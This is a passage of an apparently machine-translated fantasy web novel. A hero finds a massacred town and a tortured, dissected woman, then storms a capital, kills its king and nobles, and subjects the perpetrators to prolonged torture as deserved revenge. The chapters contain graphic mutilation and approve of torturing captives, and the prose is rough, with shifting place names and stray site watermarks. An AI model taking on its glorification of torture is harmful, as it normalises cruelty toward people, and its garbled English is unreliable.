    Suddenly, the coldness in his eyes was shining, and then suddenly turned his head, looked in a certain direction, and his body showed an extremely harsh killing intent.


    "Xiao Rui?"


    "My lord, what''s the matter?" Shechem asked hurriedly, his face changed.


    Xue An''s killing intent boiled, and his face sank like water, "A friend of mine has an accident!"


    Just now, Xue An suddenly felt a belief in seeking help on the soul level.


    This conviction for help is very simple, only five words.


    Big brother save me!


    But the aura attached to it was so familiar, Xue An instantly recognized that it was the little girl Qian Xirui in Fengmo Town.


    In fact, if it weren''t for Xue An''s extremely powerful spirit, he might not be able to detect this weak soul fluctuation at all.


    Because this kind of fluctuation can only come from ordinary people who are on the verge of despair.


    And the fear contained in these five words is even more obvious.


    One can imagine what this little girl is facing.


    What is strange is that the talisman that Xue An deliberately left in Sealed Demon Town when he was leaving was not triggered at all.


    But anyway, something must have happened in Feng Devil Town!


    At the same time after hearing Xue An''s words, Shechem showed layers of killing intent and gritted his teeth and said: "My lord, please tell me who it is. I will now cut back the head of the thief! "


    The elders of Mingxin Palace holding swords, as well as the people in the caves, their complexions changed drastically, and they rose into the sky.


    "Yes, my lord, please tell me to come down, no matter who the opponent is, I will kill it!"


    Shouted with a sword.


    "Yes! My lord, please order to come down!"


    The people in several big caves are expressing their views.


    Xue An overlooked the audience, then narrowed his gaze, and said solemnly: "Well, in that case, then come with me!"


    With that, Xue An turned into a streamer and rose into the air.


    Behind him, countless brilliance soared into the sky and turned into a terrifying torrent, followed closely, across the sky.

 Chapter 1336： The horrible situation in Fengma Town

    Jianzhou is very far away from Sealed Demon Town, and if it is normal, it will take at least a day to arrive.


    However, Xue An was furious, and in just half a day, he had already traveled through several big caves, and arrived in the territory of Sealed Demon Town.


    When the walls of the Enchanted Demon Town appeared in the distant horizon.


    Xue Anxin sank down.


    Because of the noisy town in the past, it was deadly silent at this moment, and Xue An could not even feel the slightest popularity from it.


    Xue An''s eyes narrowed slightly, his figure flashed, and he flew to the town in an instant, and then his heart sank.


    Because the town��s gate was already broken, it looked like it had been smashed open by some heavy object. There was a huge hole in the middle of the gate, and among the fallen wood chips, mottled blood was scattered.


    Xue An''s heart gradually sank to the bottom and fell to the ground. His eyes swept over the mess in front of the city gate. It can be seen that after a fierce battle, the opponent broke the city gate and broke into the town. Among.


    At this moment, the people from the Seven Great Caves also rushed to the sky, and when they saw him landing, they hurriedly followed.


    No one dared to speak, because Xue An''s face was calm with a chilling killing intent.


    Xue An looked at the still intact talisman on the city wall, his eyes a little complicated.


    "My lord, do you need me to go in and see?" Shechem also felt the strangeness of the small town in front of him, and couldn''t help but yell.


    Xue An shook his head, and then walked into the city gate.


    Everyone followed and walked into the town together.


    At the moment of crossing the city gate, a strong and pungent smell of blood instantly filled everyone''s nose.


    It seemed that they were shocked by the momentum of the crowd. The bloodthirsty vultures that had stayed on the ground and were gnawing on something rose up into the sky, the number of which even made the light dim.


    And the scene exposed below caused countless people''s pupils to instantly shrink to the size of a needle tip.


    Because the scene before me was too horrible and too tragic.


    But seeing the blood is as if you don''t need money, it will soak the ground, buildings, streets, etc. under your feet.


    And because the blood has dried up, everything you see is a shocking dark red.


    Under this weird tone, corpses were neatly placed on the ground.


    Some of these corpses have been eaten by vultures beyond recognition, and some are still intact.


    But even these intact corpses were covered with dense scars, and from the twisted faces of the Qiu Knot, it could be seen what these people had experienced before they died.


    Xing Yushu, who was originally pale, shook his figure a few times after seeing this scene, and then fell to his knees after a plop, large and large teardrops fell down, and opened his mouth, but he said nothing. come out.


    When it comes to feelings for this town, no one in the room may be deeper than him.


    In his childhood, he followed his grandfather Xing Yuhe to come here, and spent his most precious youth here.


    It can be said that every dead body lying here has appeared in his memory very vividly.


    And everyone''s complexion also became serious.


    Xue An''s face was as cold as ice, and then walked forward slowly.


    The number of dead bodies under the feet began to increase, and after turning a corner, a large open space appeared in front of him.


    This is the central square of Feng Devil Town.


    But the noisy square in the past has now turned into a terrifying ghost.


    The blood stained the ground ocher red, and the smell of blood was even more disgusting.


    But the most numb scalp is the corpses neatly arranged on the square.


    It can be seen that the perpetrator seems to be very talented in art, and even these dead bodies are displayed with a wonderful sense of rhythm.


    But this feeling formed a huge contrast with the terrifying wounds on these corpses.


    "Qua~ga!" Although they were frightened by the aura of the crowd, these bloodthirsty vultures were really reluctant to give up this "gourmet", so they hovered in the sky, seemingly waiting for the opportunity to come down and have a good meal.


    Xue An snorted coldly.


    Without ordering, Shechem rose into the sky immediately and waved his hands.


    The two sword lights slashed out like Bai Lian flying into the air, and they swept past before the vultures could react.


    Puff puff!


    With a muffled noise, these vultures who had eaten the blood of the townspeople were instantly cut into powder by Jianguang, and even the blood was directly evaporated.


    For a while, the sky was quiet, and only the bleak sunlight shone down diagonally, drawing an unbearable picture for this small town soaked in blood.


    At this moment, Xue An seemed to feel something, his eyes lit up, and then he walked out quickly.


    He could feel that a very weak breath of life was beating in front of him.


    Because the death aura in the small town before was too strong, and the breath of life was so weak that even Xue An was unaware of it for a while.


    Xue An didn''t realize it until he came to the square.


    The crowd followed, crossing over half of the square, and came to a pavilion.


    Then the scene that appeared in front of him directly impacted the bottom line of these strong men in the cave.


    Many people turned pale and couldn''t bear to look again.


    The swordsmen and the others exploded their hair and beards and shouted, "Beast! What a beast!"


    Xue An did not speak, but stood there quietly watching.


    In front of the pavilion, a huge pillar was erected. At this moment, the huge pillar had been soaked in blood, and this person was bound to it.


    If, this person can still be called a person.


    But seeing that her whole body has been carefully dissected.


    Every muscle on the hands and feet was very delicately peeled off to reveal the crystal clear bones, and then nailed to this huge pillar.


    Even her organs were carefully arranged and neatly arranged, and then hung aside with ropes.


    Such a tragic sight made everyone accustomed to seeing demons and ghosts tremble all over.


    But even with such a serious injury, this person hasn''t died yet, because through her chest, she can see that her heart is still beating slowly.


    At this moment, Xing Yushu was on the verge of collapse, and finally let out a cry of sorrow, "Mother Mom!"


    That''s right!


    It was Xiao Rui''s mother who was so tortured, the middle-aged woman who would always protect her daughter, Tao Niang!


    She seemed to have heard Xing Yushu''s shout, Tao Niang slowly raised her head, her hollow eyes were facing the crowd, her mouth moved, but she could not make any sound.


    At this moment, Xue An''s eyes burst out with an extremely strong killing intent, and the momentum was so great that even a thunder flashed in the sky.

 Chapter 1337： Acceptance

    Because he saw that there was a huge wound on Tao Niang''s neck.


    The perpetrator was obviously familiar with the structure of the human body and cleverly avoided the vital points, but cut the vocal cords, but kept the trachea and arteries.


    Even the wound was ligated into a beautiful shape by the man who did it, but at this time, all this was more like a huge mockery.


    Because this is obviously to prevent her from screaming when she is torturing, this kind of practice is enough to make people tremble.


    Despite the many experiences, it can be seen that behind this tragic scene, there are still many strong people who are pale, and some women have already burst into tears.


    Because even if it is a demon, killing is only for eating or enhancing cultivation, and it has never been like this man who does it. Killing has a sense of art.


    Xue An didn''t say a word, but walked closer, and shouted in a low voice: "Mother Mom!"


    After hearing Xue An''s voice, Tao Niang instantly became excited. She was trembling all over, her mouth quivered, as if she wanted to say something, but she couldn''t make any sound.


    Upon seeing this, Xue An gently covered the huge wound between Tao Niang''s neck with his hand. Under the impetus of Guanghua, the broken vocal cords were reconnected together.


    But all this is just a stopgap measure, because Xue An knows very well that Tao Niang has been injured for too long, until her body has completely collapsed and she can''t be saved.


    With the help of Xue An, Tao Niang could finally speak, but her voice was extremely hoarse and low. Xue An leaned down and leaned into Tao Niang''s ear to listen quietly.


    Tao Niang shouted in a hoarse voice: "Save...Save Xiaorui!"


    Xue was silent for a moment, then nodded, "Okay!"


    Although there is only one word, it is powerful.


    With Xue An''s promise, Tao Niang''s blood-stained face gradually burst into a gratifying smile, blood and tears fell in her hollow eye sockets, and then she slowly lowered her head, losing all her breath.


    In order to wait for Xue An, she endured great pain that would cause ordinary people to collapse directly, and she has been able to sustain it till now.


    In order to realize the last glimmer of hope in my heart.


    Maybe she didn''t know if this hope would come, but she did it without hesitation.


    Because she wants to save, but her own daughter!


    Now that the hope is achieved, she finally let go of the heavy burden in her heart!


    Losing the support of her belief, her spirit immediately collapsed and vanished.


    Xue stood silently, looking at the dying peach.


    This middle-aged woman is very ordinary, so ordinary as humble as weeds, and because of this, she will be so wantonly cruelly abused by some high-ranking people.


    But she was so great, she could endure till now, just to tell herself a word.


    God knows what kind of suffering this peach girl has experienced in waiting for Xue An''s arrival!


    It can also be seen how much weight Xue An has in her heart.


    "Don''t worry, I will rescue Xiaorui safely. As for the perpetrators, no matter who they are, I will let them die for you!"


    Xue An spoke slowly, then stretched out his hand and gently brushed Tao Niang''s cheek.


    The painful face gradually became quiet, and then layers of flames rose from her body, burning it into nothingness.


    The pain is finally gone, only hatred is eternal!


    Seeing this scene, Xing Yushu bowed down to the ground, crying, "My Mom! My lord and I will definitely collect this account for you and everyone in the town!"


    The rest of the people are also concerned, and many people have an angry look.


    In particular, Shechem, who has always been jealous and hated, suppressed the anger in his heart at this moment, and said respectfully, "My lord, who did this?"


    "That''s right! Is it a demon?" Nianxue asked in a huff, too.


    Xue An shook his head and said lightly: "It''s a human!"


    Is it a human?


    This sentence caused many people''s hearts to shrink suddenly, and the anger in their eyes could not help but grow.


    Because if the demon did it, it could be explained by a sentence of race.


    But if people do it, it''s even more irritating.


    After all, the same person, why are they so cruel when dealing with their own kind?


    Xue An said softly: "A very clever way. In order to avoid the talisman I left behind, I actually chose to use the power of a mortal to attack!"


    Speaking of this, Xue An''s eyes flashed a cold look, "But, you are so stupid because you made an unforgivable mistake!"


    In order to protect the safety of this small town, Xue An left a talisman to guard it.


    This talisman seal is not only aimed at the demon and ghost, but also has the power to suppress those who are strong in the human race. It can be said to be foolproof.


    But Xue An overlooked one point, because the concentration of spiritual power in this realm is very high, and ordinary people can have a good cultivation base as long as they practice a little, so this talisman is also set up to suppress these people who are responsible for cultivation.


    But I never expected that because of this, people took advantage of the loopholes, and some people deliberately used mortals with no cultivation base to forcibly break through the town''s defenses, and then slaughtered.


    This kind of method cannot be said to be inadequate.


    But the more so, the more anger in Xue An''s heart.


    When Xue An was angry, he would surely lay his corpse thousands of miles away, blood flowing into the sky!


    Xue An suddenly stepped on the ground, and the whole person rose up into the sky like a cannonball, turned into a bright streamer, and flew straight to the sky.


    Shechem followed closely behind.


    Holding the sword, he yelled softly, "Leave some people here to guard, and others will follow me!"


    After all, he also rose to the sky.


    For a time, the sky full of brilliance complemented each other, followed closely, and flew straight to the sky.


    Jingguo Capital.


    As the largest country in this vast territory, this capital city is naturally extremely magnificent.


    Especially after decades of high-level leaders from the prospect country collectively turned to ghost education, because of the skyrocketing strength, this country also became more tyrannical.


    At this moment, the sun sinking westward was shining on these black walls with countless evil spirit arrays, full of strange beauty.


    But there was no one on the streets of the capital, only the strange wind blowing, blowing the front of the shop, it looked extremely desolate.


    But under this situation , the nightlife belonging to Jingguo dignitaries has just begun.


    Located in the palace in the middle of the capital, a grand dinner has just kicked off.


    Countless well-dressed Jingguo dignitaries are gathering in groups, making bursts of laughter from time to time.


    And the focus of their discussion is nothing more than the new Great National Teacher who is about to debut.


    "Tsk tusk, I heard that this national teacher is pedantic, and with his help, our Jing Guo will become stronger and stronger, and even wipe out all the cave heavens!" A white flower on his head and a thick layer of powder on his face The middle-aged man showed blood-red and black teeth and giggled.


    The people nearby couldn''t help nodding their heads.


    "That''s right! I heard that this great master can still communicate directly with the holy world! If it weren''t for his means, the ordinary people in Jingguo Capital would not be eligible to be transformed into ghosts!"


    "Hey, that''s right! The Baili family and the Jin family, how about the three of the three major families of the Zeng family?" someone asked with a gleeful look.

 Chapter 1338： The big day

    "You mean Baili Shaoguang, Jin Haorang and Zeng Jialiang, right?" The middle-aged man wearing white flowers smiled happily.


    "These three guys don''t know which of the tendons are wrong, they dare to question the decision of your majesty and the national teacher, and are so obsessed with them. Now that the three Patriarchs have arrested them, it is estimated that this dinner party should apologize! "


    "Tsk tusk, I really wanted to die by myself! It is estimated that these three companies are all overwhelmed by this!" Someone grinned.


    While everyone was talking about it, there was a commotion at the door.


    Then the crowd split to the sides.


    These dignitaries couldn''t help silence one after another, and looked up.


    However, I saw a well-groomed guard of honour leading the way, followed by the court ladies in costumes. Until these people had entered the court, I saw an old man wearing an imperial robe, who was as fat as a cow, walked in slowly. .


    When I saw this old man, everyone in the room bowed.


    "I have seen your majesty, I have seen the national teacher!"


    The one who came is exactly King Jing Guo, Jing Hanhai!


    And beside him, stood a man wearing a black robe, his face was dead white, and his eyes were full of arrogance.


    This is Jingguo''s current great master, and also the person Jing Hanhai relies on the most, and is known as the blue devil who can communicate with the holy world.


    The appearance of these two people made the atmosphere in the field become warm.


    Although Jing Hanhai was sturdy, he was very vain, and he was out of breath after walking just a few steps. Therefore, when he saw this national teacher walking in the air like a ghost, he couldn''t help being full of envy.


    "If you can be as relaxed and comfortable as a national teacher, you will have no regrets!"


    Qing Mo smiled, but his smile was full of gloomy ghostly air, "Your Majesty is too modest, with your talents enough to become a ghost master!"


    Jing Hanhai''s eyes lit up, "Does the teacher really mean this?"


    The Blue Devil laughed, "Have I ever deceived your Majesty? And..."


    The Green Demon approached Jing Hanhai and chuckled in a low voice: "Your Majesty is now in its heyday in the Spring and Autumn Period. How can you enjoy the bliss of the world! So when your body is completely unusable, I will help you refine the ghost!"


    Hearing these words, Jing Hanhai was full of joy, "Okay! I really deserve to be my Jingguo national teacher, I really feel my heart!"


    After speaking, he patted the blue demon on the shoulder very kindly.


    Seeing this scene, the hearts of the dignitaries present were even more shocked, and it was a big flattery to the Blue Devil.


    The Qing Mo smiled coldly, without saying a word, but turned his head and said to Jing Hanhai: "Your Majesty, since today is a celebration banquet, you might as well deal with the affairs of the Baili family, the Jin family, and the Zeng family first. !"


    Hearing what Qing Mo said, Jing Hanhai was startled slightly, then nodded, "The national teacher is right, these three guys are too arrogant!"


    The faces of the three Patriarchs standing off the court all changed and became extremely ugly.


    At this moment, Jing Hanhai turned his head and said coldly at the three of them: "Didn''t you hear it? Bring all your three rebellious sons quickly! You really disappointed me!"


    "Yes!" The three Patriarchs did not dare to defy, they could only answer bitterly.


    quickly.


    Baili Shaoguang, Jin Haorang, and Zeng Jialiang, who were **** by five flowers, were taken to the court.


    All three of them were wounded and their aura was very weak, but despite this, there was no fear on the faces of the three of them, and their eyes were full of determination. Even when they came to the stage, they still stood proudly and refused to kneel. under!


    Seeing this scene, there was a slight commotion among the crowd.


    "What the **** is going on with these three guys? Why do they seem to have changed?"


    "Whoever said no, he fought out and his temperament changed drastically. He actually dared to oppose the decision of the Master of National Normal University, and kept saying that he was saving Jingguo. I really don''t know what to think!"


    Amidst the discussion, Jing Han''s sea surface sank like water, and he slapped the table abruptly, "You three are so bold!"


    Baili Shaoguang stood at the forefront, but only coldly snorted, "No matter how bold we are, we are not as bold as you!"


    "Presumptuous!" Patriarch Baili, who was also Baili Shaoguang''s father, paled with fright, yelled aloud, then turned his head and said guiltily.


    "Your Majesty, this daughter of mine doesn''t know what she has gotten. She talks gibberish all day long. Please don''t be familiar with her!"


    "Haha! Lost and mad? I can see that you are the one who is mad!" Jin Haoyang who stood behind couldn''t help but sneer.


    "Yes! What the three of me did was to save Jingguo, but I didn''t want you to be deceived by this demon and committed such a terrible mistake. Now you can only pray that you can die as far as possible without suffering!" Zeng Jialiang Also coldly said.


    The words of these three people were like a blockbuster, completely igniting the anger of everyone in the field.


    Especially Jing Hanhai, his fat face shivered.


    "Okay! What a terrible mistake, it''s really hard to die when you die! Come on, kill them first!"


    Jing Hanhai was obviously very angry, and he would never give face to these three big families.


    The faces of the three Patriarchs changed, but they were at a loss and did not know what to do.


    At this moment, the national teacher Qing Mo stopped Jing Hanhai, "Hold your Majesty!"


    Then he turned his head and looked at the three of them, and after a while, they smiled coldly.


    "Listening to what you mean, seems to be accusing me?"


    "Yes! It''s all you demon bewitching, and you shouldn''t be wrong, you should not go to the Devil Town, and torturing all the people there. You know how much your actions will attract the entire Jingguo Is it the disaster?" Bai Li Shaoguang scolded angrily.


    Hearing what she said, the audience was silent, and then there was a roar of laughter.


    "I thought it was because of a bunch of untouchables!" Someone sneered.


    "Haha, when I went to slaughter the Enchanted Demon Town, I also followed. I have to say, it''s really enjoyable! Those untouchables are actually quite tenacious, but the more so, the more excited I am!" The middle-aged man wearing white flowers grinned with a big mouth, and laughed extremely abnormally.


    "That''s right, it''s just a bunch of untouchables. The three guys from UU reading keep saying something terrible. It''s really funny!"


    Everyone talked a lot, and the Green Demon State Master was taken aback for a moment, and then he laughed strangely.


    "Oh? Great disaster? Hehe, then you know that this action is an order from the Holy Realm, and Master Guijun personally ordered this town to be slaughtered! Why? What other disaster could be a ghost Is Lord Jun unstoppable?"


    The blue devil''s voice was full of mockery!


    The three of Baili Shaoguang remained unmoved.


    "It''s useless, in front of him, no ghost will do. As for you...no one can save you!" Baili Shaoguang shook his head.


    The blue devil''s face sank, "It''s really looking for death! I dare to speak rudely to Lord Guijun! Then I will sacrifice the three of you as ghosts, let you know how powerful Guijun is!"


    But just when he was about to do it.


    In the banquet hall, those exquisite utensils burst open at the same time.

 Chapter 1339： Strong self-composition falls from the sky

    The liquor flows across and the aroma is overflowing.


    But people are not in the mood to pay attention to these, because at this moment, the whole banquet hall is trembling.


    This tremor did not originate from the underground, but from the violent spiritual power permeating the air.


    These spiritual powers usually aim at each other and cancel each other out.


    But at this moment, it was as if the courtier met the emperor, bowing his head deeply to show his surrender!


    This unprecedented weird scene stunned the expensive ownership in the banquet hall.


    The monarch Jing Hanhai''s face also turned pale, and he couldn''t help but trembled and said, "Guo...Guo Shi, what''s going on?"


    The blue demon''s complexion also changed, but he still managed to maintain his composure, and said lightly: "Your majesty, don''t worry, you and Jingguo will have nothing to do with you and Jingguo!"


    But at this time, Baili Shaoguang and Jin Haorang all awoke from the shock they had just received, and then overjoyed expressions appeared on their faces.


    "It''s an adult!"


    "Yes, it''s your lord here!"


    The three of them whispered softly, and then they looked at the Blue Devil and the dignitaries in the field with gazes like dead people.


    This look made Jing Hanhai furious, and he continued to shoot the table and said: "Come on, drag these three guys down first!"


    Immediately, a dozen elite soldiers rushed forward, reached out and grabbed Baili Shaoguang, preparing to drag the three of them away and beheaded.


    But just as they stretched their hands halfway, their fingers burst open suddenly, turning into a layer of blood mist.


    Immediately afterwards, bursts of noise began to extend upward along their arms.


    In an instant, along with the violent tremor of their bodies, these dozen or so elite soldiers were directly strangled by the violent spiritual power of heaven and earth.


    The blood mist is pervasive, and it is extremely ugly to reflect the faces of all the rich and powerful.


    "Wh... what''s going on?" Jing Hanhai widened his swollen eyes and looked at the scene in disbelief.


    The look on the face of the originally confident Blue Demon changed at this moment, but he still said calmly: "Your Majesty, don��t panic, our capital city is protected by a large array, even if there are those who don��t know the heights of the earth and the earth want to attack , You can''t get in at all!"


    It seems to be to confirm his words, when his words just fell off.


    Hearing a loud and deafening noise, the roof of the entire banquet hall was shattered and swept away by a strong wind.


    All the people present looked up, and then they saw a scene that shocked them all.


    However, under the sly moon, a thick black haze appeared above Jingguo Capital City. This was the great formation that Jingguo had painstakingly arranged for many years to protect this capital city.


    But in this situation, seeing countless brilliance flying from the sky to the front, the aura of power contained in it is even more desperate.


    Not only that, after these strong men came, they didn''t stop at all, but rammed straight into this great defense formation.


    The loud noise just came from these impacts.


    Every time it hits, the mountain guard will sway.


    But despite this, there is no sign of weakening. Even with every impact, there will be a miserable howl everywhere in the city, and then countless residents who have been forcibly transformed into ghosts are turned into black energy and supplemented. In this moat.


    Seeing this scene, the blue devil''s heart just let go, and then he laughed and said, "Your Majesty, can you see it? Our capital city''s great defense formation is solid, even if there are more powerhouses, what can I do? "


    Jing Hanhai couldn''t help but nodded, and then let out a breath: "That''s good, that''s good!"


    As for these dignitaries, their faces were full of giggles, pointing to Man Tian Guanghua without paying any attention.


    Only Baili Shaoguang, Jin Haorang and Zeng Jialiang looked up and stared blankly.


    After coming over for a while, Baili Shaoguang was shocked, "It''s an adult, here comes the adult!"


    The voice just fell.


    The numerous brilliances who had just crazily attacked the great defense formation converged, and then separated on both sides, giving way to a straight path to the sky.


    Then at the top of the road to the sky, a figure of a white-clothed teenager slowly emerged. This white-clothed teenager seemed to descend from the sky, walking slowly, stepping down!


    Seeing this, all the dignitaries of Jingguo who were smiling just now could not laugh.


    It wasn''t until a long time later that the Green Demon State Master smiled strongly, "Your Majesty, don''t worry, we have a great defense formation here, and whoever comes is the same!"


    But before the words fell, Xue An''s footsteps seemed to be slow but fast, and Yu suddenly straddled a very long distance, directly in front of the moat formation.


    Before the smile on Qing Mo''s face was taken back, Xue An stretched out his hand, held down the black air in the sky, and pressed down suddenly.


    "open!"


    With a soft sip, the great defense formation, hailed by the Blue Demon as invincible, couldn''t even resist, and huge cracks suddenly appeared.


    King King Jing Hanhai is stupid!


    The Nationalist Blue Devil is also stupid!


    All the dignitaries were even more shocked and stood on the spot.


    at the same time.


    Seeing that this great moat was finally overwhelmed, crashing like a building, completely disintegrating.


    The violent wind swept in from the outside, hitting the face of every magnate of Jingguo, like a slap in the face, their faces flushed red.


    And along with the gust of wind, there are countless brilliances, and every brilliance is a trembling powerhouse.


    Then these powerhouses stood full of the sky, like stars, overlooking the capital.


    "Run!" I don''t know who shouted, and everyone at the scene turned around and wanted to run away.


    The Blue Devil turned away without hesitation, without even paying attention to the call from Jing Hanhai behind him.


    "National teacher, national teacher! Don''t give up the widow!"


    But before everyone ran out, there were no steps.


    Just heard a light sigh coming from behind everyone, "Don''t bother, do you think... can you still run?"


    This sentence was like a nightmare, causing all the body to stop instantly.


    Then everyone slowly turned around, only to find that the young man in white clothes was sitting on a chair not far away, with his eyes drooping, fiddling with his fingers.


    Such a scene suddenly made the atmosphere of the audience extremely depressing.


    Many people secretly swallowed their saliva, their legs trembling at it.


    But the three of Baili Shaoguang shouted in unparalleled surprise: "My lord!"


    Hearing this shout, everyone was stunned, and then the faces of the Patriarchs of Baili and Jinzeng''s family showed a lot of joy.


    It turns out that the adult that these three people are talking about is the boy in white who frightens everyone as soon as he appears!


    The heads of these three families are secretly rejoicing.


    Xue An was noncommittal, and even ignored what the three of them said. Instead, he fixed his gaze on the blue devil, the national teacher.


    "Goblin? Oh, no! It should be the body of a demon who was transformed by the day after tomorrow, am I right?"


    Although Qing Mo''s legs were shaking slightly, he didn''t show any fear on the surface, and even nodded.


    "That''s right! Who are you? Why did you break my city guard? Don''t you know that my Jingguo was protected by Master Guijun?"


    These remarks are sturdy, but obviously trying to tell Jing Guo in this way is not annoying!


    Unexpectedly, Xue An laughed.


    "Ghost? So, is this so-called ghost king who ordered the slaughter to seal the Devil Town?"

 Chapter 1340： Judgment day

    This questioning silenced the audience.


    Many people''s eyes widened gradually, and their heartbeats accelerated by half a beat.


    Putting on such a big battle, but only because of a small town?


    This made these Jingguo dignitaries, who have always regarded untouchables as weed, all stunned.


    The Green Demon directly ignored Xue An��s "disrespect" towards Lord Guijun in his words, and subconsciously swallowed, "Yes...Yes! It is the order of Lord Guijun that we will carry out this way, you..."


    He just wanted to ask who Xue An was and what he wanted to do.


    Xue An didn''t give him a chance to continue talking at all, and said indifferently: "Okay, then you tell me now, where is the little girl you caught back?"


    "Little girl?" Qing Mo was shocked, his complexion gradually turning pale!


    "Huh?" Xue An said without looking up while fiddling with his fingers: "I will give you three breaths, I hope you can give me a satisfactory answer!"


    A large bead of sweat appeared on the blue demon''s forehead. He looked at the young man in horror, gritted his teeth abruptly, and then quietly urged his cultivation base, intending to flee into a black mist.


    But this plan just rose from his heart, and a great force hit him on his shoulders with the power of Mount Tai, directly causing him to kneel to the ground.


    Click.


    Both of his legs and knees were shaken by the force.


    "Ahhhhhhhhhhhhhh!" The Blue Demon began to scream.


    Xue An raised his eyes and glanced at him.


    The screams disappeared instantly, the Blue Demon''s face was pale, and he was firmly covering his mouth, not daring to make any noise.


    "I don''t want to ask again, tell me now, where did Xiao Rui go?"


    "She... She has been sacrificed to Lord Guijun and entered the Holy Realm, ah no, in the ghost realm! Ah ah ah!"


    As soon as the voice fell, his hands were directly crushed, and he dropped to his chest in a strange posture.


    Xue An''s eyes were as cold as ice, and he looked at the blue demon quietly.


    After screaming for a few times, the blue demon barely managed to control himself, but did not dare to raise his head, but buried his head deep in front of his chest, but his whole body was trembling slightly because of the severe pain.


    Such a scene left the audience dead silent.


    These normally arrogant and incomparably arrogant Jingguo dignitaries, at this moment, did not even dare to show the atmosphere, they all looked at the white-clothed young man in silence, praying silently for the gods and demons to get out of the sky as soon as possible.


    But it seemed that after feeling their prayers, the gods and demons all fled.


    Xue An said slowly: "Now tell me, who was the inhabitant of the small town who murdered?"


    The voice was indifferent, but it was shuddering in everyone''s ears like a magic sound.


    No one dared to speak.


    Xue An raised his eyebrows slightly, "Huh? I dare not say? But why are you so arrogant when dealing with these unarmed residents?"


    At this time, King Jing Hanhai stood up trembling, and then bowed to Xue Anshen with a flat face.


    "My lord, please be outraged for the time being. I don''t know your relationship with Feng Devil Town before I wait. It is really our fault. As long as you speak, we are willing to show the greatest sincerity to compensate you!"


    As he said, he looked at Xue An hopefully.


    Xue An heard the words and slowly turned his head to look at Jing Hanhai. After a while, he said calmly: "Compensation?"


    "Yes! Compensation! As long as you are willing to ignore this fault, we will..." Jing Hanhai was full of flattery, trying to impress the unaware boy with his profit.


    But he didn''t finish his words at all, Xue An interrupted him directly, "Then, who are you?"


    "My lord, I am King Jing Guo, and my name is Jing Hanhai!" Jing Hanhai said with a smile.


    But he didn''t expect that this was the last time he laughed in his life.


    Just when the voice fell, Jing Hanhai suddenly noticed a cold in his neck, and then he was shocked to find that he could actually see his heel.


    Immediately afterwards, the world was spinning, and then his head fell to the ground, but his headless body did not fall.


    But seeing a burst of black air in the cavity, it reluctantly converged into Jing Hanhai''s appearance.


    It''s just that Jing Hanhai no longer had the calmness he had before. Instead, he looked at Xue An blankly, as if he didn''t understand why he suddenly acted.


    Xue An didn''t even look at him.


    Because before Jing Hanhai''s neck, the sword light that had disappeared before appeared again, and then gently cut it across.


    puff!


    Before Jing Hanhai could even make a scream, he was directly chopped up and turned into nothingness.


    Then the corpse plopped to the ground, blood gushing out from the cavity, staining the clean floor red.


    The monarchs of a dignified country are so dispirited.


    The expensive faces of the audience turned pale as paper, and the whole body was shaken.


    Xue An looked as if he had shot a fly, glanced lightly at the audience, and said lightly: "I''ll ask again, who is the town resident who murdered?"


    Still no one dared to speak.


    Xue An smiled, "Very good! Since I don''t say anything, then..."


    Xue An casually pointed at a person in the crowd, "You start!"


    When the words fell, the nobleman didn''t even hum, and his head was blown into powder.


    Immediately afterwards, around him, the explosion began to spread wildly.


    One by one, the big figures who are in charge of life and death on weekdays, taste the taste of lambs to be slaughtered at this moment, just like mit mustard, before even begging for mercy, they are blown into fireworks.


    The blood mist filled the audience, and when people reacted, they immediately began to beg for mercy frantically.


    "My lord, forgive me! I have never been to Sealed Demon Town!"


    "Yes, I have never been, my lord, yes! This person has been there, and he even showed off, saying that he skinned several people with his own hands!"


    People do everything to survive.


    Especially when these dignitaries discovered that this white-clothed boy didn''t tell any truth to himself, and that the killing was decisively scary, they all felt the deepest fear!


    For people like them, the strong are not terrible, as long as they can talk, then the strong can be bought, nothing more than a bit more expensive.


    I''m only afraid that Xue An won''t talk about anything, as long as you die!


    Therefore, in order to survive what interests and alliances are all left behind!


    In an instant, a dozen people were pointed out from the crowd.


    And the head of it was the middle-aged man with a white flower on his face.


    It''s just that at this moment, he is no longer as decent and elegant as before, and Fu Fan on his face is even more marked by the dripping cold sweat, and then he has a strong smile at Xue An.


    "Big...sir, I...I..."


    Before I finished speaking, Xue An gently raised his hand, and the dozens of people bound their hands together, and then floated into the air.


    These people screamed like a pig, "My lord! I..."


    With a wave of his hand, Xue An blocked their speech function, and then said lightly: "Welcome to hell, the next performance, I hope you like it!"

 Chapter 1341： When you mention the butcher knife, you are the place...

    The blood slid down along the terrifying wounds, and after dripping on the ground, a mottled blood plum blossom was formed.


    The dozens of people floating in the air have distorted faces with pain, but they can''t even scream out, and can only struggle in pain.


    Not only that, for them at this moment, fainting has become a luxury.


    Because under the blessing of Xue An''s mind, they were even more awake many times than usual.


    In this situation, every subtle pain in their body is infinitely magnified, and the resulting pain can even completely collapse a person.


    However, Xue An obviously did not intend to let them go so easily. Under his spiritual instillation, they could not die, faint, or scream, and could only silently "enjoy" the pain. feast.


    And this tragic situation also fell in the eyes of everyone present.


    Those kings and dignitaries have been completely frightened, and some are even on the verge of collapse.


    Even the strong men who followed Xue An couldn''t help taking a breath of air at this moment.


    Because even they can feel how intense the pain these people are suffering.


    It is painful and never peaceful.


    If there is really **** in this world, then this should be it!


    Xue An didn''t move at all, sat in a chair and watched quietly, until after a while, he slowly began to speak.


    "Many people always say, oh, people are already dead and things are irreversible, why can''t you try to learn to let go?"


    Xue An''s words were scattered throughout the banquet hall, and even the entire Jingguo Capital City.


    Everyone listened silently.


    "Some people say, when is the time for retribution, why use hatred to water hatred? If you forgive, you can get relief from each other!"


    Hearing what Xue An said, a gleam of light appeared in the eyes of many dignitaries in Jingguo, especially those who were suffering from boundless suffering. They looked at Xue An with hope and hope for relief.


    Seeing this, a sneerful smile appeared on the corners of Xue An''s mouth, "Unfortunately...in my opinion, these words are all farting!"


    "Forgive or not, this is not what you have the final say, even I can''t! The one who is truly qualified to forgive is Mom, who is all the residents of Fengdevil Town! But it is a pity that they are all dead, dead In your hands!"


    "I believe they must have begged you before they died, but did you let them go?"


    "You don''t! On the contrary, you have become more and more aggressive and began to abuse! I believe that when you imposed those genius methods on the residents of the small town, on the peach, you must have been proud of it! "


    "Proud of your artistic killing beauty, although this beauty is based on the endless pain of other people! But you still enjoy it, and even become addicted to it!"


    "I said... right?"


    Xue An''s voice was not loud, but it spread to the audience very clearly.


    And under this continuous questioning, everyone''s complexion changed.


    There were some unbearable expressions on the faces of many Dongtian experts before, but after listening to Xue An''s words, they all replaced them with bitter killing intent.


